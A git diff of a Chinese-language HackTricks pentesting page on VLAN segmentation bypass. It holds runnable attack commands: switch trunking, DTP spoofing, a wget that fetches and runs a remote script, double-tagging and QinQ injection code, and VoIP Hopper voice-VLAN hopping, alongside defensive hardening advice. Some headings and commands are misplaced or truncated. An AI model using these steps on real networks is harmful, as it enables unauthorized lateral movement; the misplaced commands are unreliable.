diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index d65107f41..94dc0d54f 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -如果可以直接访问交换机,则可以绕过VLAN分段。这涉及将连接端口重新配置为干道模式,为目标VLAN建立虚拟接口,并设置IP地址,具体取决于场景,可以是动态(DHCP)或静态的(**有关更多详细信息,请查看 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9))。** +如果可以直接访问交换机,则可以绕过VLAN分段。这涉及将连接端口重新配置为干道模式,为目标VLAN建立虚拟接口,并根据场景设置IP地址(动态(DHCP)或静态)(**有关更多详细信息,请查看 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9))。** 最初,需要识别特定的连接端口。这通常可以通过CDP消息完成,或通过**include**掩码搜索端口。 -**如果CDP无法操作,可以尝试通过搜索MAC地址进行端口识别**: +**如果CDP未运行,可以尝试通过搜索MAC地址进行端口识别**: ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` -在切换到 trunk 模式之前,应编制现有 VLAN 的列表,并确定它们的标识符。然后将这些标识符分配给接口,从而通过 trunk 访问各种 VLAN。例如,正在使用的端口与 VLAN 10 相关联。 +在切换到干线模式之前,应编制现有VLAN的列表,并确定它们的标识符。然后将这些标识符分配给接口,从而通过干线访问各种VLAN。例如,正在使用的端口与VLAN 10相关联。 ``` SW1# show vlan brief ``` @@ -24,6 +24,7 @@ SW1(config-if)# switchport mode trunk 然后创建虚拟接口,分配 VLAN ID,并激活: ```bash +# Legacy (vconfig) – still works but deprecated in modern kernels sudo vconfig add eth0 10 sudo vconfig add eth0 20 sudo vconfig add eth0 50 @@ -32,17 +33,26 @@ sudo ifconfig eth0.10 up sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up + +# Modern (ip-link – preferred) +sudo modprobe 8021q +sudo ip link add link eth0 name eth0.10 type vlan id 10 +sudo ip link add link eth0 name eth0.20 type vlan id 20 +sudo ip link set eth0.10 up +sudo ip link set eth0.20 up +sudo dhclient -v eth0.50 +sudo dhclient -v eth0.60 ``` 随后,通过DHCP发出地址请求。或者,在DHCP不可行的情况下,可以手动配置地址: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 -sudo dhclient -v eth0.50 -sudo dhclient -v eth0.60 ``` 在接口上手动设置静态IP地址的示例(VLAN 10): ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 +# or +sudo ip addr add 10.10.10.66/24 dev eth0.10 ``` 连接性通过向VLAN 10、20、50和60的默认网关发起ICMP请求进行测试。 @@ -52,31 +62,38 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 ## 其他VLAN跳跃技术(无特权交换机CLI) -前一种方法假设已获得交换机的认证控制台或Telnet/SSH访问。在实际操作中,攻击者通常连接到一个**常规接入端口**。以下的第2层技巧通常允许您在不登录交换机操作系统的情况下横向移动: +前面的方法假设已获得交换机的认证控制台或Telnet/SSH访问。在实际操作中,攻击者通常连接到一个**常规接入端口**。以下的第2层技巧通常允许您在不登录交换机操作系统的情况下横向移动: -### 1. 使用动态干道协议(DTP)进行交换机欺骗 +### 1. 使用动态干线协议(DTP)进行交换机欺骗 -保持DTP启用的Cisco交换机会乐于协商干道,如果对端声称是交换机。制作一个**DTP “desirable”**或**“trunk”**帧将接入端口转换为一个802.1Q干道,承载*所有*允许的VLAN。 +启用DTP的Cisco交换机会乐于协商干线,如果对端声称是交换机。构造一个**DTP “desirable”**或**“trunk”**帧将接入端口转换为一个802.1Q干线,承载*所有*允许的VLAN。 *Yersinia*和几个PoC自动化了这个过程: ```bash # Become a trunk using Yersinia (GUI) -$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking +sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking # Python PoC (dtp-spoof) -$ git clone https://github.com/fleetcaptain/dtp-spoof.git -$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable +git clone https://github.com/fleetcaptain/dtp-spoof.git +sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable ``` -一旦端口切换到干道模式,您可以创建802.1Q子接口,并按照上一节所示进行转移。现代Linux内核不再需要*vconfig*;而是使用*ip link*: +侦察助手(被动指纹识别端口的 DTP 状态): ```bash sudo modprobe 8021q sudo ip link add link eth0 name eth0.30 type vlan id 30 sudo ip addr add 10.10.30.66/24 dev eth0.30 sudo ip link set eth0.30 up -``` -### 2. 双标记(原生 VLAN 滥用) -如果攻击者位于 **原生(未标记)VLAN**,则带有 *两个* 802.1Q 头的构造帧可以在端口被锁定为接入模式时“跳跃”到第二个 VLAN。 工具如 **VLANPWN DoubleTagging.py** (2022-2024 更新) 自动化了注入: +# or + +wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py +sudo python3 dtpscan.py -i eth0 +``` +一旦端口切换到 trunk,您可以创建 802.1Q 子接口,并按照上一节所示进行 pivot。 + +### 2. 双重标记 (Native-VLAN 滥用) + +如果攻击者位于 **native (untagged) VLAN**,则带有 *两个* 802.1Q 头的构造帧可以跳转到第二个 VLAN,即使端口被锁定在接入模式。 工具如 **VLANPWN DoubleTagging.py** (2022-2025 刷新) 自动化了注入: ```bash python3 DoubleTagging.py \ --interface eth0 \ @@ -85,15 +102,9 @@ python3 DoubleTagging.py \ --victim 10.10.20.24 \ --attacker 10.10.1.54 ``` -数据包逐步分析: -1. 外部标签 (1) 被第一个交换机剥离,因为它与本地 VLAN 匹配。 -2. 内部标签 (20) 现在暴露;帧被转发到 VLAN 20 的干线。 +### 3. QinQ (802.1ad) Stacking -该技术在 2025 年仍然有效,适用于将本地 VLAN 保持为默认并接受未标记帧的网络。 - -### 3. QinQ (802.1ad) 堆叠 - -许多企业核心支持 *Q-in-Q* 服务提供商封装。在允许的情况下,攻击者可以在提供商 (S-tag) 内隧道任意 802.1Q 标记的流量,以跨越安全区域。捕获 802.1ad 以太类型 0x88a8,并尝试使用 Scapy 弹出外部标签: +许多企业核心支持 *Q-in-Q* 服务提供商封装。在允许的情况下,攻击者可以在提供商 (S-tag) 内隧道任意的 802.1Q 标记流量,以跨越安全区域。捕获以 ethertype `0x88a8` 并尝试使用 Scapy 弹出外部标签: ```python from scapy.all import * outer = 100 # Service tag @@ -102,22 +113,52 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ frame = Dot1Q(type=0x88a8, vlan=outer)/payload sendp(frame, iface="eth0") ``` +### 4. 通过 LLDP/CDP 进行 Voice-VLAN 劫持 (IP-电话欺骗) + +企业接入端口通常采用 *“接入 + 语音”* 配置:未标记的数据 VLAN 用于工作站,标记的语音 VLAN 通过 CDP 或 LLDP-MED 广播。通过冒充 IP 电话,攻击者可以自动发现并跳入 VoIP VLAN——即使 DTP 被禁用。 + +*VoIP Hopper* (打包在 Kali 2025.2 中) 支持 CDP、DHCP 选项 **176/242** 和完整的 LLDP-MED 欺骗: +```bash +# One-shot discovery & hop +sudo voiphopper -i eth0 -f cisco-7940 + +# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt) +sudo voiphopper -i eth0 -z + +# Result: new sub-interface eth0. with a DHCP or static address inside the voice VLAN +``` +该技术绕过了数据/语音分离,并且在2025年的企业边缘交换机上极为常见,因为许多型号默认启用了LLDP自动策略。 + --- ## 防御建议 -1. 在所有面向用户的端口上禁用 DTP: `switchport mode access` + `switchport nonegotiate`。 -2. 将每个干线的本地 VLAN 更改为 **未使用的黑洞 VLAN** 并标记: `vlan dot1q tag native`。 -3. 在干线上修剪不必要的 VLAN: `switchport trunk allowed vlan 10,20`。 -4. 强制实施端口安全、DHCP 嗅探和动态 ARP 检查,以限制恶意的第二层活动。 -5. 优先使用私有 VLAN 或 L3 分段,而不是仅依赖 802.1Q 分离。 +1. 在所有面向用户的端口上禁用DTP:`switchport mode access` + `switchport nonegotiate`。 +2. 将每个干线的本地VLAN更改为**未使用的黑洞VLAN**并标记:`vlan dot1q tag native`。 +3. 在干线上修剪不必要的VLAN:`switchport trunk allowed vlan 10,20`。 +4. 强制实施端口安全、DHCP嗅探、动态ARP检查**和802.1X**以限制恶意的二层活动。 +5. 如果不需要IP电话欺骗,请禁用LLDP-MED自动语音策略(或将其锁定到经过身份验证的MAC OUI)。 +6. 优先使用私有VLAN或L3分段,而不是仅依赖802.1Q分离。 + +--- + +## 现实世界的供应商漏洞(2022-2024) + +即使是完美加固的交换机配置也可能被固件错误破坏。最近的例子包括: + +* **CVE-2022-20728† – Cisco Aironet/Catalyst接入点**允许从本地VLAN注入到非本地WLAN VLAN,绕过有线/无线分段。 +* **CVE-2024-20465 (Cisco IOS工业Ethernet)**允许在切换弹性以太网协议后在SVI上绕过ACL,泄漏VRF/VLAN之间的流量。补丁17.9.5或更高版本。 + +始终监控供应商关于VLAN相关绕过/ACL问题的建议,并保持基础设施映像的最新。 --- ## 参考文献 - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -- VLANPWN 攻击工具包 – -- Twingate "什么是 VLAN 跳跃?" (2024年8月) – +- VLANPWN攻击工具包 – +- Twingate “什么是VLAN跳跃?”(2024年8月) – +- VoIP Hopper项目 – +- Cisco建议 “cisco-sa-apvlan-TDTtb4FY” – {{#include ../../banners/hacktricks-training.md}}